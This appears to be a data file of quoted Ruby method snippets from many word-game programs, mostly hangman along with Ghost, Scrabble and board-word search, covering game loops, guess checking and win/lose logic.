"def game_over()\n if $hidden_word_arr.exclude?(\"_\")\n puts \"You win the game! Well done!\"\n $end_game = true\n elsif $turns == 0\n puts \"It looks like you weren't able to guess the right letters. The word was #{$word}. Better luck next time!\"\n $end_game = true\n end\n end",
"def winOrLose()\n if ((@lettersDisplayArr.to_s.downcase.eql? @randomWord) or (@lettersDisplayArr.include?(\" _ \") == false))\n @foundWord = true \n \n end\n \n if @foundWord == true\n puts \"YAY! You guessed the word!\"\n playAgain()\n end\n\n if ((@numOfGuesses > 9) && (@foundWord == false))\n puts \"Sorry, you didn't find the word.\"\n puts \"The word was #{@randomWord}\"\n playAgain() \n \n end\n end",
"def get_valid_moves(dictionary)\n #iterates through each letter of the alphabet and checks to see how many moves can be made after adding that letter\n #if the letter would make a word then we skip that letter\n #returns a hash where keys are the letters that don't make a word and values are how many possible moves can be made after using that letter\n #also removes any letters that don't have any possible moves after (those would be invalid moves)\n valid_moves = {}\n \n if @current_fragment == '' #if ROB is the first player return a hash with all letters with value 1\n ALPHABET.each do |letter|\n valid_moves[letter] = 1\n end\n return valid_moves\n end\n \n \n ALPHABET.each do |letter|\n valid_moves[letter] = 0\n end\n \n ALPHABET.each do |guess| \n test_string = @current_fragment+guess\n if !dictionary.include?(test_string)\n valid_moves[guess] = dictionary.count {|word| word[0...test_string.length].include?(test_string)}\n end\n end\n\n if valid_moves.values.uniq.length > 1\n return valid_moves.keep_if {|letter,count| count > 0}\n else\n valid_moves\n end\n end",
"def start_game()\n $game_over = false # set flag to false when starting a new game\n $game_won = false # set flag to false when starting a new game\n $bucket = [] # empty array when starting a new game\n $build_word = [] # empty array when starting a new game\n $wrong_count = [] # empty array when starting a new game\n #$word = $words.sample # select a random word from the words array\n $word.length.times { $build_word.push(\"_\") } # push placeholder underscores to $build_word array\nend",
"def game_loop\n loop do\n current_state\n\n Display.win(@word) if win_condition\n Display.lose(@word) if lose_condition\n break if win_condition || lose_condition\n\n ask_letter\n end\n end",
"def new_game\n dictonary = File.new('dictonary.txt', 'r')\n cleaned_dictonary = dictonary.readlines(chomp: true).select { |word| word.length >= 5 && word.length <= 12 }\n dictonary.close\n word = cleaned_dictonary.sample\n set_up_game(word, '_' * word.length)\n end",
"def guess_word(word)\n won = won?(word)\n @tries_left -= 1 unless won\n won\n end",
"def start_game\n whose_turn = 'Player'\n current_word = ''\n turn_number = 0\n\n puts \"~~~ Welcome to Ghost ~~~\"\n\n while true do\n if whose_turn == 'Player'\n while true do\n print \"Please enter a letter: \"\n next_letter = gets.chomp.to_s.downcase[0] # Selects first letter, lowercase of any string\n break unless next_letter.is_i?\n end\n\n current_word = current_word + next_letter\n else # Computer's turn\n next_letter = self.computer_letter_choice(current_word, turn_number)\n puts \"Computer chooses letter: #{next_letter}\"\n current_word = current_word + next_letter\n end\n\n puts \"Current string: \\\"#{current_word}\\\"\"\n\n # Check for valid word, if it is -- game over\n if @t.has_key?(current_word)\n puts \"~~~ Game Over. ~~~\"\n puts \"~~~ #{whose_turn} loses. ~~~\"\n puts \"~~~ Completed word: #{current_word} ~~~\"\n break\n end\n\n # Check for invalid word, or if player/computer cannot advance\n if @t.children(current_word).length == 0\n puts \"~~~ Game Over. ~~~\"\n puts \"~~~ #{whose_turn} loses. ~~~\"\n puts \"~~~ Invalid word/Cannot advance: \\\"#{current_word}\\\" ~~~\"\n break\n end\n\n turn_number += 1\n whose_turn = (whose_turn == 'Player' ? \"Computer\" : \"Player\")\n end\n\n end",
"def check_for_win\n i = 0\n @state_of_board.each{ |letter|\n if letter == \"_\"\n i += 1\n else\n next\n end\n }\n if i == 0\n puts \"Congratulations! You have guessed the final letter!\"\n\n puts \"The word is:\"\n k = 0\n while k < @state_of_board.length\n print @state_of_board[k] + \" \"\n k += 1\n end\n\n puts \"Please play again!\"\n exit\n end\n end",
"def run_game\n\n word_game = WordGame.new\n\n\n welcome\n # loops through the steps of the game until user runs out of guesses\n # or they win\n until word_game.max_guesses == 0\n puts \"Wrong guesses: #{word_game.wrong_guesses.join(\" \")}\\n\\n\"\n puts \"Word: #{word_game.progress.join(\" \")}\\n\\n\"\n roses = pruning_roses(word_game.max_guesses)\n puts print_ascii_art(roses)\n winning?(word_game)\n guess = prompt_user(word_game)\n input_evaluation(guess, word_game)\n # clears the terminal screen so that it feels more like a game play\n # to the user (fun fact: doesn't work on Windows computer)\n system(\"clear\")\n\n # conditional statement that prints the empty pot\n # if the user loses\n if word_game.max_guesses == 0\n system(\"clear\")\n roses = pruning_roses(word_game.max_guesses)\n puts print_ascii_art(roses)\n end\n end\n\n puts \"Sorry you lost :(\"\n puts \"The word you were looking for was #{word_game.word.join}\"\nend",
"def word_test()\n if $build_word.join == $word # if $build_word equals $word, the user won\n $game_over = true # set the flag to indicate that the game is over\n $game_won = true # set the flag to indicate that the player won the game\n $games_won += 1 # so increase the games_won score by 1\n else # if they don't match, run user_input() for another letter\n $prompt = \"Good job - that letter was in the word. Please guess again!\"\n end\nend",
"def play_round\n take_turn\n puts \"Current word: #{@fragment}\"\n if losses(current_player) == true\n record(current_player)\n score_board\n end\n next_player!\n end",
"def new_game\n dictionary = File.readlines(\"assets/5desk.txt\").map {|word| word.chomp}\n dictionary.select! {|word| word.length >= 5 && word.length <= 12}\n @chosen_word = dictionary[(dictionary.size * rand).floor]\n\n puts \"A word has been chosen that is #{@chosen_word.length} letters long.\"\n puts \"You may guess the letters in that word one letter at a time,\"\n puts \"or you may guess the whole word, but a man's life \\\"hangs\\\" in\"\n puts \"the balance. So be careful not to make too many wrong guesses,\"\n puts \"because once his whole body and both of his eyes have been\"\n puts \"drawn, he's dead and you lose!\"\n puts \"\\n\"\n\n @word_guess = WordGuess.new(@chosen_word)\n @dead_man = DeadMan.new\n\n round\n end",
"def play(word)\n word = word.upcase\n score = Scrabble::Scoring.score(word)\n plays << word\n if won? == true # Check if the game should already be over\n return false\n end\n puts plays\n return score\n end",
"def displayresults (word, guesses)\n\t0.upto (word.size) do |n|\n\t\n\t\tif guesses.include?(word[n,1]) then\n\t\t\t@result[n]= word[n,1]\n\t\t\n\t\tif @result[n] != \"\"\n\t\t\tthen @result[n]= word[n,1]\n\t\telse @result[n]=\"_\"\n\t\tend\t\n\tend\n \nend\nend",
"def game_loop\n\n while @mysteryWord.guessed_all_correct? == false && @mysteryWord.health > 0 do\n p \"The word is #{@mysteryWord.guessedWord}\"\n p \"Please enter a letter\"\n @mysteryWord.guess?(gets.chomp)\n end\n end",
"def play_word(word, loc_let, loc_num, direction)\n letters = []\n word = word.upcase.split(\"\")\n i = 0\n loc_down = BOARD_HASH[loc_let]\n if direction == \"across\"\n word.length.times do\n letters << play_letter(word[i], loc_down, loc_num)\n loc_num += 1\n i += 1\n end\n\n elsif direction == \"down\"\n\n word.length.times do\n letters << play_letter(word[i], loc_down, loc_num)\n loc_down += 1\n i += 1\n end\n end\n\n if letters.include?(false)\n return false\n else\n letters.delete(true)\n return letters\n end\n end",
"def run\n if @load_save == true\n puts 'Would you like to play your last saved game? (Yes/No)'\n gets.chomp.downcase == 'yes' ? load_game : (puts \"\\n#{@computer} is coming up with your word.\\n\")\n chosen_word\n end\n loop do \n start_game\n checker\n win_lose\n end\nend",
"def play\n\n game=Game.new\n game.load\n while game.lives > 0 && !game.win?\n \tsystem \"clear\"\n \tprint game.word_guessed\n \tputs \"\"\n puts \"You have #{game.lives} lives remaining.\"\n puts \"\"\n puts \"Incorrect Letters:\"\n game.wrong.each {|letter| print \"#{letter}, \"}\n puts \"\"\n letter=game.guess_letter\n game.compare_letter(letter)\n sleep(1)\n end\n system \"clear\"\n if game.win?\n \tputs \"You Win!\"\n else \n puts \"You Lose!\"\n end\n puts \"The word was '#{game.word}'\"\n\n\nend",
"def play_game\n turn = 1\n while turn < @turns\n puts \"Please guess a letter in the word.\"\n puts \"\"\n user_choice = gets.chomp.to_s\n until @alphabet.include? user_choice and user_choice.length == 1 do\n puts \"Please choose a single letter in the alphabet to guess the content of the word.\"\n user_choice = gets.chomp.to_s\n end\n puts \"Evaluating user choice\"\n is_secret_word_letter(user_choice)\n self.show_game_progress\n turn +=1\n puts \"Turn #{turn} complete!\"\n self.game_over_check\n end\n end",
"def start_guess\r\n\t\tuntil @is_over == true\r\n\t#player enters 1 letter string\r\n\r\n\t\t\tputs \"guess a letter you've already guessed #{@used}. #{@tries-@guess_count} attempts remain\"\r\n\t\t\tputs @blanks.join\r\n\t\t\tletter = gets.chomp\r\n\t#if letter is not in guessed box take a turn away\r\n\t\t\tif @used.include?(letter) == false\r\n\t\t\t\t@guess_count += 1\r\n\t\t\t\tif @tries == @guess_count \r\n\t\t\t\t\t@is_over = true\r\n\t\t\t\tend\r\n\t\t#if letter is in the world replace the blank\r\n\t\t\t\tif @word.include?(letter)\r\n\t\t\t\t\twordindex = @word.index(letter)\r\n\t\t\t\t\t@blanks[wordindex] = letter\r\n\t\t\t\t\tif @blanks.include?(\"_ \") == false\r\n\t\t\t\t\t\t@is_over = true\r\n\t\t\t\t\tend\r\n\t\t#if letter is not in the world add to guessed box\r\n\t\t\t\telse\r\n\t\t\t\t\t@used << letter\r\n\t\t\t\tend\r\n\t#if letter is in guessed box don't consume a turn\r\n\t\t\telse\r\n\t\t\t\tputs \"you already tried that letter\"\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t#end:\r\n\t#if word is guessed correctly print congrants\r\n\t\tif @blanks.include?(\"_ \")\r\n\t\t\tputs \"haha try harder next time\"\r\n\t#if word is guessed wrong print taunt\r\n\t\telse\r\n\t\t\tputs \"well done! you guessed the word\"\r\n\t\tend\r\n\tend",
"def play\n if (test)\n # next four lines just to see if there was no chain between the words\n test_list = build_chain\n test_list.delete(@word1)\n test_list.delete(@word2)\n if (distance(@word1, @word2) > 1 and test_list.empty?)\n puts \"Error: No chain between words\"\n else\n puts build_chain\n end\n end\n end",
"def setup_game\n\t\t@word = get_word.upcase\n\t\t@misses = []\n\t\t@hits = []\n\t\t@guesses_left = 10\n\tend",
"def game_play\n find_word\n board\n load_game?\n if @confirm != 'y'\n game_intro\n end \n until game_end? || @incorrect_guess == 8 \n #p @the_word\n guess\n incorrect_guess?\n hang_man_figure\n update_board\n save?\n end\n if game_end? != true\n puts \"\\n\" * 100\n hang_man_figure\n update_board\n puts \"SORRY, YOU LOST!!\" \n puts \"\\n\"\n puts \"The word was....#{@the_word.upcase}!!\"\n exit\n elsif game_end? == true\n puts \"\\n\" * 100\n hang_man_figure\n update_board\n puts \"OMG!\"\n puts \"#{@the_word.upcase} is the word!\"\n puts \"YOU WIN!!! =)\"\n puts \"******!*******!*****!*******!*****!*****!\"\n exit\n end\nend",
"def run(n_rounds)\n # Define a Integer type variable make the default as 0\n guess_count = 0\n # Define a bool type variable make the default as false when at the start of the game\n is_guessed = false\n # until loop (the end of the condition is guess_count equal total times or the player guess correct)\n # or keyword just like || token, [and, or, not] = [&&, ||, !]\n until guess_count == n_rounds or is_guessed\n # on the top of screen, tell the player how many times guess has left\n puts \"\\nYou have left #{n_rounds - guess_count} times chances.\\n\"\n # ask player a input about guess content\n puts \"\\nType the word you guess: \"\n # get the player type value take off the space and convert to lowercase then assign variable input_word\n input_word=gets.chomp.downcase.strip\n # call check_input method to check the player type whether Invalid\n if(!check_input(input_word))\n puts \"\\nInvalid word, please try again :-(\"\n else\n # if get valid type, count the times\n guess_count += 1\n # also call check_player_words method which is enter each letter check flow\n check_player_words(input_word)\n end\n # if the word of player typeing exactly equal the word of system generated\n # tell player the correct message. and set the flag to true.\n if(word.chomp == input_word.chomp)\n puts \"\\nCongratulations, you are correct.\"\n is_guessed = true\n end\n end # end of the until loop \n # after all check if not guees the correct word\n # gives some feedback to player\n if !is_guessed\n puts \"\\nSorry, you are out of the chance to guess\"\n puts \"\\nThe word was [#{word.chomp}]\"\n end\n end",
"def check_word(word)\n if self.player.word_list.include?(word)\n puts \"Already found that one!\"\n elsif word.length < 4\n puts \"That word is too short. Words must be 4 letters or longer.\"\n elsif word.chars.include?(self.board.inner_letter) == false\n puts \"Missing center letter.\"\n elsif self.board.word_list.include?(word)\n #get points total for word\n points = self.board.get_word_value(word)\n self.player.add_points(points)\n #adds word to wordlist\n self.player.add_word(word)\n if self.board.pangram?(word)\n puts \"🐝 PANGRAM FOUND 🐝\"\n puts \"The bees are pleased. #{points} added to your score.\"\n else\n puts \"#{self.nice_messages.sample} #{points} point#{\"s\" if points > 1} added to your score.\"\n end\n self.player.display_total\n else\n puts \"Not in word list :(\"\n end\n end",
"def generate_results\n !(@incomplete_word.include? \"_\") ?\n puts(\"Congratulations, you won.\") :\n puts(\"\\nYou failed to guess the words.\")\n end",
"def game()\n $match_index_arr = []\n $guessed = []\n $turns = 10\n $index = 0\n $end_game = false\n\n get_word()\n puts $hangman[$index]\n show_word()\n loop do \n get_letter()\n letter_match()\n no_match()\n puts $hangman[$index]\n remaining_guesses()\n dash_to_letter()\n puts \"\"\n show_word()\n puts \"\"\n guessed_wrong_letter()\n game_over()\n if $end_game\n break\n end\n check_guess_count()\n end\n return\n end",
"def cycle\n gameover = false\n #keep going until all letters are guessed or they're out of mistakes\n until gameover\n gameover = turn\n end\n end",
"def play(word)\n \t# test to see if score is over 100\n \tif @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\treturn false\n \tend \n @words_played << word\n @scores_array << Scoring.score(word)\n end",
"def word_checker(user_guess)\n i = -1\n instances = []\n# Checks for the index of the first instance of user_guess AFTER index number i\n# Stops when @word.index(user_guess,i+1) returns nil\n while i = @word.index(user_guess,i+1)\n instances << i\n end\n\n# replace dashes in word display with the correctly guessed letters\n instances.each do |i| @word_display[i] = user_guess end\nend",
"def next_step(letter)\n letter = letter.downcase\n # Make sure if player has already won or lost or repeated the same letter\n return if @status == :lost || @status == :won\n return if repeated?(letter)\n\n if is_good?(letter)\n # If the letter occurs in the word - put the letter in good_letters\n add_letter_to(@good_letters, letter)\n\n @status = :won if solved?\n else\n # Else if player made a mistake - put the letter in bad_words and increment the number of mistakes\n add_letter_to(@bad_letters, letter)\n @mistakes += 1\n\n @status = :lost if @mistakes >= max_mistakes\n end\n end",
"def play_new_game\n #get new code word\n @word_master.choose_code_word\n @code_word = @word_master.code_word\n @good_guesses = Array.new(@code_word.length, '_ ')\n #tells you rules\n puts \"Try to figure out the word. If you guess 6 wrong letters, you lose!\"\n #starts playing\n game_loop\n end",
"def game_loop\n loop do \n puts \"The word is \"\n @word.output_word \n puts \"You have #{@lives_left.to_s} lives left\"\n puts \"Guess a letter:\"\n letter = gets.chomp\n \n if Word.is_letter?(letter)\n puts \"You need to give me a letter!\"\n next\n end\n \n if letter.length !=1\n puts \"please guess one letter at a time!\"\n end\n \n good_guess = @word.guess?(letter)\n if !good_guess\n @lives_left -= 1\n end\n if @lives_left == 0\n puts \"You lost :(\"\n break\n end\n if @word.guessed_all_correct? \n puts \"You won! :) The word is: \"\n @word.output_word\n break\n end\n \n end\n \n end",
"def game_round\n phrases = @phrasearr.dup\n @difficulty[3].times do\n clear\n phrase = selector(phrases)\n display_to_user(phrase)\n phrases = deleter(phrase, phrases)\n end\n\n clear\n prompt = selector(@promptarr)\n display_to_user(prompt)\n input = timed_input\n print @cursor.hide\n scorer(checker(input, prompt))\n deleter(prompt, @promptarr)\n\n check_score\n end",
"def round\n response = nil\n black_list = []\n pat = next_word.downcase\n\n words_dict = words_of_length pat.length\n while true\n g, words_dict = freq_of_pat words_dict, black_list, pat\n if g == nil\n puts \"Word Not KNOWN\"\n WORDS << \"#\"\n break\n\n elsif g == \"GIVEUP1\"\n puts \"GIVE UP\"\n WORDS << \"&1\"\n break\n\n elsif g == \"GIVEUP2\"\n puts \"GIVE UP\"\n WORDS << \"&2\"\n break\n end\n\n black_list << g\n\n puts \"The #{black_list.length}th guess letter is #{g.upcase}\"\n puts \"black_list is #{black_list.to_s}, length: #{black_list.length}\"if V\n\n response = guess_word g\n pat = response[\"word\"].downcase\n puts \"#{pat}\"\n\n unless pat.include? '*'\n WORDS << pat\n puts \"GOT IT\"\n break\n end\n ## the numberOfGuessAllowedForThisWord received from server is not correct!!\n if response[\"data\"][\"numberOfGuessAllowedForThisWord\"] == 0\n WORDS << pat\n break\n end\n\n if black_list.length == NUM_GUESSES\n WORDS << pat\n puts \"WRONG, NEXT ROUND\"\n break\n end\n end\n\n num_of_round = response[\"data\"][\"numberOfWordsTried\"]\n num_of_round\nend",
"def play_game\n \twhile true\n \t\t@view.display_game_state(@word, @misses, @hits, @guesses_left)\n \t\tbreak if game_over?\n \t\tguess = get_guess\n \t\tbreak if guess == :save\n \t\tupdate_game_state guess\n \tend\n \tsave_game if guess == :save\n\tend",
"def check_word(word, rack)\n if rack.include?(\"?\") ? blank_tile = true : blank_tile = false\n end\n # Make a copy of rack to use to change values.\n rack_copy = rack.clone\n # result equals true and only goes false if a letter from rack isn't in the word\n result = true\n word.chars do |letter|\n if rack_copy.include?(letter)\n # Find the first instance of letter by its index and delete it at index.\n # This must be down to avoid .include? returning true on a letter multiple\n # times\n rack_copy.delete_at(rack_copy.index(letter))\n # If the letter isn't in rack but theres a blank tile then go back to start\n # of loop\n elsif blank_tile\n # change to false to avoid using blank tile more than once\n blank_tile = false\n # if the letter doesn't exist than turn result to false and break loop\n else\n result = false\n break\n end\n end\n result\nend",
"def play_game\r\n\r\n word = select_word #Call on the method that retrieves a random word\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n consonants = get_consonants #Call on the method that prompts the player\r\n #to enter a list of consonants\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Call on the method that prompts the player to enter a vowel\r\n vowel = get_vowel\r\n\r\n #Remove blank spaces from the word to create a short version of the word\r\n shortWord = word.gsub(\" \", \"\")\r\n\r\n #Call the method that processes player guesses\r\n prompt_for_guess(shortWord, word, consonants, vowel)\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n end",
"def guessed_word(alphabet,position)\n\t\tindex = position-1\n\n\t\t# Check for repeating guess by comparing already existing guesses from the hash.\n\t\tif guessed_words.keys.index(position) != nil && guessed_words[position].upcase == alphabet.upcase\n\t\t\tputs \"Don't repeat the same guess\"\n\t\t\tputs \"You have #{guesses} guesses left.\"\n\n\t\t# If the guess is same as that of the original word's letter, its a correct guess\n\t\telsif original_word[index] == alphabet.upcase\n\t\t\thidden_word[index] = alphabet.upcase\n\t\t\tguesses_history(alphabet,position)\n\t\t\tputs \"Congrats!!! Your guess is correct.\"\n\t\t\tputs \"You have #{guesses_left} guesses left.\"\n\t\t# Additional condition for downcase correct guesses.\n\t\telsif original_word[index] == alphabet.downcase\n\t\t\thidden_word[index] = alphabet.downcase\n\t\t\tguesses_history(alphabet,position)\n\t\t\tputs \"Congrats!!! Your guess is correct.\"\n\t\t\tputs \"You have #{guesses_left} guesses left.\"\n\n\t\t# Other than repeat and correct guess, all other guesses are worng and just add the guesses to the hash to show repeat case in future.\n\t\telse\n\t\t\tputs \"Sorry! That's a wrong guess.\"\n\t\t\tputs \"You have #{guesses_left} guesses left.\"\n\t\t\tguesses_history(alphabet,position)\n\t\tend\n\t\tputs \"The status of the word is: #{hidden_word}\" \n\tend",
"def guess_word(word_length)\n self.sample(dict.select { |word| word.length == word_length } )\n end",
"def play\n\t\t\twhile !win && @turns < TURNS\n\t\t\t\tturn\n\t\t\tend\n\t\t\t# counter increments at start of turn, so must be less than max turns\n\t\t\tif win\n\t\t\t\tplay_again\n\t\t\telse\n\t\t\t\tputs \"\\n Sorry, you ran out of turns. The word was #{@secret_word}\"\n\t\t\t\tplay_again\n\t\t\tend\n\t\tend",
"def guessed_word(word)\n\t\tif @ans_word == word\n\t\t\tputs \"You are a genious\"\n\t\telse\n\t\t\tputs \"guess again\"\n\t\t\t@guess_word.pop\n\t\tend\n\tend",
"def guess?(letter)\n if !self_is_letter?(letter)\n puts \"Not a letter!\"\n return false\n end\n if @word.include? letter\n if(@word.count(letter) > 1)\n while(@word.include? letter)\n puts \"Hit this while loop\"\n index = @word.index(letter)\n @word.slice!(index,0)\n @word[index] = '_'\n\n puts \"Word\" + @word\n @guessedWord.slice!(index,0)\n @guessedWord[index] = letter\n\n end\n else\n index = @word.index(letter)\n\n @guessedWord.slice!(index,0)\n @guessedWord[index] = letter\n\n\n\n end\n\n\n output_word()\n return true\n end\n p \"Word does not contain #{letter}\"\n @health -= 1\n p \"you have #{@health} tries left\"\n return false\n end",
"def check_hooking player, board, word_list\n\t\t\tbest =Array.new(2, ScrabbleWord.new('', 0, 0, 0, 0))\n\t\t\twords = DICTIONARY.get_all(player.tiles)\n\t\t\tword_hash = Hash.new\n\t\t\twords.each do |word|\n\t\t\t\tword.each_char do |char|\n\t\t\t\t\tword_hash[char] ||= Set.new\n\t\t\t\t\tword_hash[char] << word\n\t\t\t\tend\n\t\t\tend\n\t\t\tword_list.each do |word|\n\t\t\t\tplayer.tiles.each do |char|\n\t\t\t\t\tif DICTIONARY.word?(word.word + char) || DICTIONARY.word?(char + word.word)\n\t\t\t\t\t\tword_hash[char].each do |new_word|\n\t\t\t\t\t\t\trow = word.row\n\t\t\t\t\t\t\tcol = word.col\n\t\t\t\t\t\t \tword.dir == :across ? col -=1 : row -= 1\n\t\t\t\t\t\t\tbest = hook_helper(new_word, word.word.length , word, board, char, word.row , word.col, best, word.word + char) if DICTIONARY.word?(word.word + char)\n\t\t\t\t\t\t\tbest = hook_helper(new_word, 0 , word, board, char, row, col, best, char + word.word) if DICTIONARY.word?(char + word.word)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t[best, best.inject(0){|sum, i| sum + i.score}]\n\t\tend",
"def word_selector\n\t\t@game_word = @word.sample\n\tend",
"def select_word\r\n\r\n #Define an array of 40 words from which the game will randomly select\r\n words = [\"W I N D O W\", \"S T A T I O N\", \"H A M B U R G E R\",\r\n \"E X P R E S S I O N\", \"W A L L E T\", \"C A M E R A\",\r\n \"A I R P L A N E\", \"C A N D L E\", \"C O M P U T E R\",\r\n \"P I C T U R E\", \"F R A M E\", \"S H E L F\", \"B O W L I N G\",\r\n \"P O L I T E\", \"S T A T E M E N T\", \"N E G A T I V E\",\r\n \"M E T H O D\", \"F I S H I N G\", \"C O M P E N S A T E\",\r\n \"H A P P Y\", \"F O O T B A L L\", \"S A N D W I C H\",\r\n \"I L L U S I O N\", \"S K E L E T O N\", \"S P A G H E T T I\",\r\n \"P H O T O G R A P H\", \"P U R I F Y\", \"O T O M A N\",\r\n \"I N C E N S E\", \"S T A I R C A S E\", \"C O L O S S E U M\",\r\n \"H O N E Y\", \"S C U L P T U R E\", \"M E A T L O A F\",\r\n \"M O T O R C Y C L E\", \"R E V O L U T I O N\", \"B L A N K E T\",\r\n \"S L A U G H T E R\", \"K I T T E N\", \"S T A M P E D E\"]\r\n\r\n #Generate and return a random number between 0 and 39\r\n randomNo = rand(39)\r\n\r\n #Return a randomly selected word to the calling statement\r\n return words[randomNo]\r\n\r\n end",
"def new_game(dictionary)\n\t\t@dictionary = dictionary.map { |w| w.chomp }\n\t\t@played_letters = []\n\t\t@letters = ('a'..'z').to_a\n\tend",
"def input_evaluation(guess, correct_word)\n if correct_word.word.include?(guess)\n # We learned that .each_with_index can be used to locate each letter corresponding with each spacific index\n # Then if the letter matches it will subsitue the \"_\", at the correct index, with the corresponding letter\n correct_word.word.each_with_index do |letter, index|\n if letter == guess\n correct_word.progress[index] = guess\n end\n end\n else\n # Storing wrong letters into an array and updating max_guesses\n correct_word.wrong_guesses << guess\n correct_word.max_guesses -= 3\n end\nend",
"def new_game\n\t\t# Get the full list of words\n\t\twords = File.readlines('wordlist.txt')\n\t\tvalid_words = []\n\t\twords.each do |w| \n\t\t\t# Take all new lines and returns out\n\t\t\tw.gsub!(/\\r\\n/, \"\")\n\t\t\t# Word is valid if it's between 5 and 12 characters and isn't a proper noun. (no fair using names and such!) \n\t\t\tvalid_words << w if w.length.between?(5,12) && w[0] != w[0].upcase\n\t\tend\n\t\t# Split secret word into an array of letters\n\t\t@word = valid_words.sample.split(\"\").to_a\n\t\t# This holds user's guess. Originally populated with \"_\" for each letter\n\t\t@guess = \"\"\n\t\t@word.length.times { @guess += \"_\"}\n\t\t# Holds user's wrong letters. Originally populated with 9 x \"_\"\n\t\t@wrong_letters = \"\"\n\t\t9.times { @wrong_letters += \"_\"}\n\t\t@turn = 0\n\t\tputs \"Your task is to guess the secret word, letter by letter.\"\n\t\tputs \"You have only 9 wrong letters before you lose, so guess carefully!\"\n\t\tputs\n\t\tputs \"Here is your word. Each _ is a letter.\"\n\t\tputs\n\t\tget_guess\n\tend",
"def win_lose\n if @word_blank == @split_word.join\n puts \"\\nGood job #{@player}, you guessed #{@computer}\\'s word! Would you like to play again?(Yes/No)\\n\"\n rematch = gets.chomp.downcase\n \n elsif @mistakes == 7\n puts \"\\nSorry, #{@player} #{@computer}\\'s word was #{@chosen_word}. Would you like to play again?(Yes/No)\"\n rematch = gets.chomp.downcase\n end\n \n if rematch == \"yes\"\n \n new_game = Hangman.new(\"#{@player}\")\n new_game.chosen_word\n new_game.run\n \n elsif rematch == 'no'\n puts \"\\nThank you for playing!\"\n exit\n end\nend",
"def pick_a_word\n\t\tbucket = @dictionary[@dictionary.keys[rand @dictionary.size]]\n\t\tpair = bucket[rand bucket.size]\n\t\tpair.last\n\tend",
"def verify_word_on_board(w, hash_table)\n w = w.upcase # Since the letters on board is in capital letter\n\n p hash_table\n i = 0\n searched_index = {} # Hash table to keep track what has been searched\n (0...w.length).each { |i| searched_index.store(i, -1)} # Initiate values to indicate that no letters have been searched\n\n while i >= 0 && i < w.length\n # puts \"\\nStart of while loop, i = #{i}, searching letter #{w[i]}...\" ###\n move = false\n\n unless hash_table[w[i]].empty?\n # print \"Letter #{w[i]} exist at #{hash_table[w[i]]}\\n\" ###\n hash_table[w[i]].each_with_index do | value , index |\n # puts \"Scanning through #{w[i]} at position #{value}\" ###\n \n # This unmark the position that was used previously during backtracking.\n if value + @total_letters < 0\n # puts \"Position #{hash_table[w[i]][index]} of #{w[i]} is restored...\" ###\n hash_table[w[i]][index] += (@total_letters * 2)\n # puts \"Position of #{w[i]} is now #{hash_table[w[i]][index]}.\" ###\n end\n\n if index <= searched_index[i] # This skips letters that are already searched\n # puts \"#{w[i]} at #{hash_table[w[i]][index]} is already searched.\" ###\n next\n end\n\n if value >= 0\n \n # The position is subtrated by no of total letters to indicate that it has been searched.\n # No of total letters is used so that duplicate of hash table is not required.\n \n if i == 0 || is_adjacent(hash_table[w[i]][index],(@total_letters + hash_table[w[i-1]][searched_index[i-1]]))\n hash_table[w[i]][index] -= @total_letters\n # puts \"#{value} has been subracted by @total_letters to #{hash_table[w[i]][index]}\" ###\n \n \n searched_index[i] = index\n # puts \"Moving to next letter, searched_index[#{i}] now has been updated to #{searched_index[i]}\" ###\n move = true\n i += 1\n break\n end\n\n end\n end\n\n end\n\n # i -= 1 if move == false\n if move == false\n if i > 0\n # puts \"Previously used #{w[i-1]} position of #{hash_table[w[i-1]][searched_index[i-1]]} is being marked for restoration.\" ###\n \n hash_table[w[i-1]][searched_index[i-1]] -= @total_letters # To mark position to be restored to original value as it will not be used anymore\n # puts \"Current position of #{w[i-1]} is #{hash_table[w[i-1]][searched_index[i-1]]}.\" ###\n searched_index[i] = -1\n end\n\n\n # puts \"Letter #{w[i]} is not available/not adjacent and i will be subtracted\" ###\n i -= 1\n end\n\n end\n\n # Restore back all coordinates for next word\n\n\n restore_hash_table(hash_table)\n\n # Check whether word exists.\n if i >= 0 \n puts \"#{w} exists!\"\n return true\n else\n puts \"#{w} is not available.\"\n return false\n end\n \n end",
"def check_guess\n\t\t@word.include?(@guess)\n\n\tend",
"def start_game\n until @incorrect_count == GUESS_LIMIT\n system 'clear'\n\n puts \"Secret Word: #{@correct_letters}\"\n\n puts \"Guesses Left: #{GUESS_LIMIT - @incorrect_count}\"\n puts \"Already guessed letters: #{@guessed_letters}\"\n puts\n player_guess = make_guess\n\n @incorrect_count += 1 unless check_guess(player_guess, @correct_letters)\n\n if win?\n puts 'Congratulations! You win!'\n break\n end\n end\n\n puts \"Correct Word: #{@secret_word}\"\n end",
"def update_game_state guess\n\t\tif @word.include?(guess)\n\t\t\t@hits << guess\n\t\telse\n\t\t\t@misses << guess\n\t\t\t@guesses_left -= 1\n\t\tend\n\tend",
"def victory_check\n if @word == @player\n @game_over = true\n puts \"Victory!\"\n elsif @wrong_count >= 5\n @game_over = true\n puts \"Defeat!\"\n puts \"The word was: '#{@word.join('')}'\"\n end\n end",
"def play\n\t\tprocessed = process_guesses(@user_guesses, @word)\n\t\tboard = draw(processed)\n\t\tinput = get_input\n\t\t@user_guesses << input\n\t\t@num_guesses -= 1\n\t\tresult = game_over?\n\t\tif result[:over]\n\t\t\tputs \"Game Over!\\n#{result[:message]}\"\n\t\t\tputs \"Word was #{@word}\"\n\t\t\treturn @controller.play_again\n\t\telse\n\t\t\treturn play\n\t\tend\n\n\tend",
"def check_word(guess)\n\t\tguess_used = false\n\t\t@guess_history.each do |x|\n\t\t\t\tif x == guess\n\t\t\t\t\tguess_used = true\n\t\t\t\tend\n\t\t\tend\n\t\tif !guess_used\n\t\t\t@guess_count += 1\n\t\t\t@guess_history << guess\n\t\tend\n\t\tif guess == @target_word\n\t\t\t@win = true\n\t\t\t@is_over = true\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
